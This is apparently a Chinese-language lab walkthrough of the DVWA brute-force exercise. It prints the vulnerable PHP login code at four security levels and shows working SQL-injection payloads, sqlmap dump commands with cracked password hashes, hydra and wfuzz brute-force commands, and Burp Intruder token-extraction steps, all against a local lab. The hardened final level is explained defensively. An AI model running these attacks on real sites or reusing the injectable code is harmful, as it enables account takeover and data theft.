low难度
一、分析源码
php
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
首先帐号和密码是通过GET方式传递给服务器的,其次可以看到存在SQL注入问题,输入没有经过过滤,但是回显仅仅显示$user,成功除了一张图片及其地址,你是看不到查询结果的,说明是盲注。
然后用test' --测一下,即
sql
SELECT * FROM `users` WHERE user = 'test' --' AND password = '$pass'
没有报错,说明存在SQL注入问题
1.可以使用SQLMAP破解
bash
sqlmap -u "http://127.0.0.1/vulnerabilities/brute/?username=admin&password=123&Login=Login" --cookie="PHPSESSID=<自己查cookies得到>; security=low" -p username --batch --dbs
可以得到数据库名字为 dvwa
然后查询表名
bash
sqlmap -u "http://127.0.0.1/vulnerabilities/brute/?username=admin&password=123&Login=Login" --cookie="PHPSESSID=<自己查cookies得到>; security=low" -p username --batch -D dvwa --tables
得到表
bash
[INFO] fetching tables for database: 'dvwa'
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users |
+-----------+
查询users这张表并dump
bash
sqlmap -u "http://127.0.0.1/vulnerabilities/brute/?username=admin&password=123&Login=Login" --cookie="PHPSESSID=<自己查cookies得到>; security=low" -p username --batch -D dvwa -T users --dump
得到
bash
+---------+---------+-----------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+
| user_id | user | avatar | password | last_name | first_name | last_login | failed_login |
+---------+---------+-----------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+
| 1 | admin | /hackable/users/admin.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin | admin | 2025-09-30 21:05:15 | 1 |
| 2 | gordonb | /hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon | 2025-09-26 22:55:17 | 0 |
| 3 | 1337 | /hackable/users/1337.jpg | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack | 2025-09-26 22:55:17 | 0 |
| 4 | pablo | /hackable/users/pablo.jpg | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo | 2025-09-26 22:55:17 | 0 |
| 5 | smithy | /hackable/users/smithy.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob | 2025-09-26 22:55:17 | 0 |
+---------+---------+-----------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+
其中MD5加密过的密码也被自动破解
2.手动使用SQL注入
假设admin用户存在,直接使用admin' -- 即
sql
SELECT * FROM `users` WHERE user = 'admin' -- ' AND password = '$pass'
来绕过密码验证,或者不知道用户名的话,使用
' OR user = (SELECT user FROM users LIMIT 1) --
sql
SELECT * FROM `users` WHERE user = '' OR user = (SELECT user FROM users LIMIT 1) -- ' AND password = '$pass'
通过子查询查询第一条
当然也能查第二条用户,通过图片链接可以知道用户名
sql
SELECT * FROM `users` WHERE user = '' OR user = (SELECT user FROM users LIMIT 1 OFFSET 1) -- ' AND password = '$pass'
3.直接用字典暴力爆破
可以使用hydra或者burp之类的软件进行暴力爆破,需要现自备字典。
Hydra
bash
hydra -l admin -P <密码字典> 127.0.0.1 http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie: PHPSESSID=<你的cookie里找>; security=low:F=incorrect" -s 80 -V
参数详解
-l admin: 指定用户名为 admin
-P <字典地址> 使用密码字典文件
127.0.0.1: 目标IP地址(本地主机)
http-get-form: 使用HTTP GET方法提交表单
http-get-form 参数解析
/vulnerabilities/brute/: 目标URL路径
username=^USER^: 用户名参数,^USER^ 会被hydra替换
password=^PASS^: 密码参数,^PASS^ 会被字典中的密码替换
Login=Login: 登录按钮参数
H=Cookie: PHPSESSID=...: 设置HTTP Cookie头
F=incorrect: 失败标识,如果响应中包含"incorrect"就认为登录失败
其他参数
-s 80: 指定端口80(HTTP默认端口)
-V: 详细模式,显示每次尝试的详细信息
wfuzz
bash
wfuzz -c -z file,<用户名字典> -z file,<密码字典> -H "Cookie: PHPSESSID=<你的cookie里找>; security=low" "http://127.0.0.1/vulnerabilities/brute/?username=FUZZ&password=FUZ2Z&Login=Login"
medium 难度
分析源码
php
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
可以看出和LOW相比,多了输入过滤(安全改进)
php
// 对用户名和密码进行了转义处理
$user = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user);
$pass = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass);
并且错误后多了延迟2秒
php
sleep(2); // 登录失败时延迟2秒
由于多了输入过滤,传统的SQL注入方法失效。可以使用LOW中使用的暴力破解方法。
hydra
bash
hydra -l admin -P <密码字典> 127.0.0.1 http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie: PHPSESSID=<你的cookie里找>; security=medium:F=Username and/or password incorrect." -s 80 -t 32 -w 5 -V
这里-t是并发线程数,用了32个并发线程,加快速度,减少2秒的延迟影响。
high难度
分析源码
php
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
主要安全增强
1. CSRF令牌保护
php
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
需要验证CSRF token防止跨站请求伪造攻击
2. 输入过滤增强
php
$user = stripslashes( $user );
$user = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user);
先去除反斜杠,再转义特殊字符,双重过滤
3. 随机延迟
php
sleep( rand( 0, 3 ) );
随机延迟0-3秒,增加时间攻击难度
4. 会话令牌生成
php
generateSessionToken();
每次页面加载生成新的CSRF token
安全分析有效的防护:
CSRF令牌:阻止自动化工具
输入过滤:阻止大部分SQL注入
随机延迟:增加暴力破解成本
这个级别的防护使得:
传统SQL注入:基本不可行(由于转义处理)
暴力破解:困难(由于随机延迟和CSRF令牌)
自动化工具:需要处理动态token
这里使用Burp Suite进行暴力破解
先使用burp截获request
GET /vulnerabilities/brute/?username=admin&password=123&Login=Login&user_token=81938af6bcee43e4a118b4a3121963c9 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://127.0.0.1/vulnerabilities/brute/?username=admin&password=123&Login=Login&user_token=21a822591650d1b5d5373a933b58c44f
Cookie: PHPSESSID=3f0d4b19e21ca62c823c1faee655e6f9; security=high
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
发现GET请求多了一个user_token,这个token每次刷新网页就会改变,由generateSessionToken()生成。
分析页面源码可以看到
html
<input type="hidden" name="user_token" value="21a822591650d1b5d5373a933b58c44f">
就是user_token
然后对GET请求即右键,点击send intruder。
给需要破解的参数加上章节符号,即Add §,这里选择password和user_token
在最上面的攻击类型选择 Pitchfork(叉子模式)
- 用途:多个参数使用不同的载荷列表
- 工作方式:每个标记位置使用独立的载荷集合,按顺序一一对应
然后payload位置1选择字典,payload位置2选择Recursive grep(递归提取) ,Recursive grep 允许你从服务器的响应中提取值,并在后续请求中自动使用这个值。它会"递归地"处理每个请求-响应循环。
Grep-Extract选择递归选项,现refetch response得到响应,在里面选择token
重定向设置成always,不然无法跳到新页面,匹配添加incorrect条目,然后开始intruder
可以看到,密码为password的时候incorrect不存在,这就是密码。
impossible难度
分析源码
php
<?php
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;
// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
// Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();
/*
print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
*/
// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked<br />";
}
}
// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];
// Login successful
echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
echo "<img src=\"{$avatar}\" />";
// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>{$last_login}</em>.</p>";
}
// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// Login failed
sleep( rand( 2, 4 ) );
// Give the user some feedback
echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
主要安全特性
- PDO预处理语句(完全防SQL注入)
php
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
使用参数化查询,从根本上杜绝SQL注入
- 账户锁定机制
php
$total_failed_login = 3; // 最大失败次数
$lockout_time = 15; // 锁定时间(分钟)
3次失败后锁定账户15分钟
有效防止暴力破解
- 智能延迟
php
sleep( rand( 2, 4 ) ); // 随机延迟2-4秒
增加时间攻击难度
- CSRF令牌保护
php
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
防止跨站请求伪造
- 输入过滤
php
$user = stripslashes( $user );
$user = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user);
双重输入过滤
攻击难度评估
这个级别的防护使得:
SQL注入:不可能
暴力破解:极其困难(账户锁定)
自动化工具:基本无效(需要处理token+账户锁定)
时间攻击:效果有限